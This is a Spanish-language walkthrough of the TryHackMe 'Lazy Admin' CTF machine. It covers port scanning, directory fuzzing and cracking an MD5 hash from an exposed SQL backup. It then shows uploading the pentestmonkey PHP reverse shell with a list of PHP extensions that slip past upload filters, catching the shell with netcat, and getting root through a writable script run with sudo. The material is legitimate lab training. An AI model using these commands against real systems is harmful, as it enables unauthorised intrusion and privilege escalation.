Lazy admin
December 14, 20226 minutes
Máquina fácil Linux para practicar tus habilidades.
https://tryhackme.com/room/lazyadmin
IP Atacante = 10.10.10.10
IP víctima = 10.10.192.128
Reconocimiento
Para empezar lo primero es comprobar si la máquina está activa y que OS tiene
❯ ping -c 1 10.10.192.128
PING 10.10.192.128 (10.10.192.128) 56(84) bytes of data.
64 bytes from 10.10.192.128: icmp_seq=1 ttl=63 time=66.1 ms
--- 10.10.192.128 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 66.057/66.057/66.057/0.000 ms
En este caso da un ttl (time to live) de 63, entendiendo que ttl=64: Linux / ttl=128: Windows. Esta máquina es Linux por aproximación
Escaneo de puertos (nmap)
Ahora empezamos con un escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -n -vvv -Pn 10.10.192.128 -oG allPorts
Parámetro | Función |
---|---|
-p- | Para que el escaneo sea a todos los puertos (65536) |
–open | Para que solo reporte los puertos abiertos |
-sS –min-rate 5000 | Definir el tiempo del escaneo |
-n | Omitir resolución DNS |
-vvv | Para que vaya reportando lo que encuentre por consola |
-Pn | Skip host discovery |
-oG allPorts | Para que guarde el escaneo en format grepeable en un archivo llamado allPorts |
Con una función definida en la zshrc llamada extractPorts, nos reporta los puertos abiertos de una forma más visual
Función extractPorts de @s4vitar
❯ extractPorts allPorts
───────┬─────────────────────────────────────────────────────────────────────────────────────────
│ File: extractPorts.tmp
───────┼─────────────────────────────────────────────────────────────────────────────────────────
1 │
2 │ [*] Extracting information...
3 │
4 │ [*] IP Address: 10.10.29.188
5 │ [*] Open ports: 22,80
6 │
7 │ [*] Ports copied to clipboard
8 │
───────┴─────────────────────────────────────────────────────────────────────────────────────────
Ahora con nmap vamos a intentar buscar las versiones de los servicios de los puertos y ejecutar scripts básicos de reconocimientos
❯ sudo nmap -p22,80 -sC -sV 10.10.192.128 -Pn target
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 497cf741104373da2ce63s89586f8e0f0 (RSA)
| 256 2fd7c44ce81b5sa9044dfc0638c72ae55 (ECDSA)
|_ 256 6184622s7c6c32917dd27459e29cb905e (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Parámetro | Función |
---|---|
-p22,80 | Especificamos los puertos abiertos que hemos encontrado con el escaneo anterior |
-sC | Para que realice scripts básicos de reconocimiento |
-sV | Proporciona la versión e información de los servicios que corren por los puertos |
Puerto 80
Al entrar a la web lo primero que se ve es lo siguiente
Buscando subdirectorios
Para ver si hay subdirectorios vamos a usar la herramienta wfuzz para fusear mediante un diccionario que está en /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
con el siguiente comando:
wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.192.128/FUZZ
=======================================================================
ID Response Lines Word Chars Payload
=======================================================================
000000075: 301 9 L 28 W 316 Ch "content"
000095524: 403 9 L 28 W 278 Ch "server-status"
Parámetro | Función |
---|---|
-c | Para que lo reporte todo con colores |
-t | Para configurar el tiempo |
–hc=404 | Para que no nos reporte los subdirectorios que no existan |
-w | Es donde se indica el diccionario |
FUZZ | Se escribe donde quieres aplicar el diccionario |
Dentro de /content solo hay un texto
Traducción: Bienvenido a SweetRice - Gracias por instalar SweetRice como su sistema de administración de sitios web. Este sitio se está construyendo ahora, por favor llegue tarde. Si usted es el webmaster, vaya a Dashboard -> General -> Configuración del sitio web y desmarque la casilla de verificación “Cerrar sitio” para abrir su sitio web. Más ayuda en Consejo para Basic CMS SweetRice instalado
Buscando subdirectorios en /content/
❯ wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.192.128/content/FUZZ
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000016: 301 9 L 28 W 323 Ch "images"
000000953: 301 9 L 28 W 319 Ch "js"
000002190: 301 9 L 28 W 320 Ch "inc"
000003320: 301 9 L 28 W 319 Ch "as"
000003601: 301 9 L 28 W 324 Ch "_themes"
000003808: 301 9 L 28 W 327 Ch "attachment"
Credenciales Inicio Session
Dentro del /inc
hay una carpeta llamada mysql_backup/
dentro hay un archivo llamado mysql_bakup_20191129023059-1.5.1.sql
nos lo descargamos, dentro se puede ver un usuario llamado manager
con un hash --------------
❯ hash-identifier --------------
Possible Hashs:
[+] MD5
Para ver el contenido vamos a usar John the Ripper
John The Ripper es una herramienta de código abierto para la recuperación y auditoría de seguridad en contraseñas, además de ser multiplataforma, es el más utilizado y versátil, ya que combina una velocidad de “craqueo” rápida, con una extraordinaria gama de tipos de hash compatibles.
❯ sudo john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 512/512 AVX512BW 16x3])
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status
Password Censurada (?)
1g 0:00:00:00 DONE (2022-12-14 21:28) 100.0g/s 3379Kp/s 3379Kc/s 3379KC/s 062089..redlips
Session completed.
Ahora ya podemos iniciar sessión en el panel de login que está en /content/as
Con esto entramos a un directorio que parece ser el panel de control del administrador, hay muchos apartados, pero hay uno (media center
) En el cual podemos subir archivos.
Reverse shell
Vamos a intentar subir un archivo.php malicioso echo por pentestmonkey para crear una reverse shell
wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
Importante cambiar esto con la ip de nuestra máquina y el puerto en el que vamos a estar en escucha
$ip = '10.10.10.10'; // CHANGE THIS
$port = 443; // CHANGE THIS
Ahora ya lo podemos subir
No se ha subido, puede ser que al ser .php lo haya bloqueado… En estas situaciones, se puede intentar con extensiones menos típicas de php que el admin no haya bloqueado.
Ejemplos de alternativas a .php: .php2
, .php3
, .php4
, .php5
, .php6
, .php7
, .phps
, .phps
, .pht
, .phtm
, .phtml
, .pgif
, .shtml
, .htaccess
, .phar
, .inc
, .hphp
, .ctp
, .module
Primero vamos a probar con .phtml
¡Ahora si!
Nos ponemos en escucha por el puerto 443
nc -nlvp 443
Clicamos el archivo que hemos subido anteriormente a la web y recibimos la conexión
Tratamiento de la tty
Antes de empezar lo primero para trabajar mejor es hacer un tratamiento de la tty…
script /dev/null -c bash
ctrl + z
stty raw -echo; fg
reset
xterm
export SHELL=bash
export TERM=xterm
Escalada de privilegios
Con sudo -l
se puede ver que podemos ejecutar /usr/bin/perl
y /home/itguy/backup.pl
Si vamos al /home/itguy/
, y hacemos un cat a backup.pl
se ve que ejecuta un archivo que está en /etc/copy.sh
(Contenido backup.pl)
#!/usr/bin/perl
system("sh", "/etc/copy.sh");
En este archivo no tenemos permisos de escritura, pero en el copy.sh sí. Vamos a hacer una prueba para ver si lo que ponemos en copy.sh se ejecuta como root
www-data@THM-Chal:/$ echo "whoami" > /etc/copy.sh
www-data@THM-Chal:/$ sudo perl /home/itguy/backup.pl
root
Efectivamente se ejecuta como root, ahora vamos a decirle al copy.sh que spawnee una bash
www-data@THM-Chal:/$ echo "/bin/bash -i" > /etc/copy.sh
www-data@THM-Chal:/$ sudo perl /home/itguy/backup.pl
root@THM-Chal:/#
¡Ya somos root!
Con un cat /root/root.txt podemos ver la flag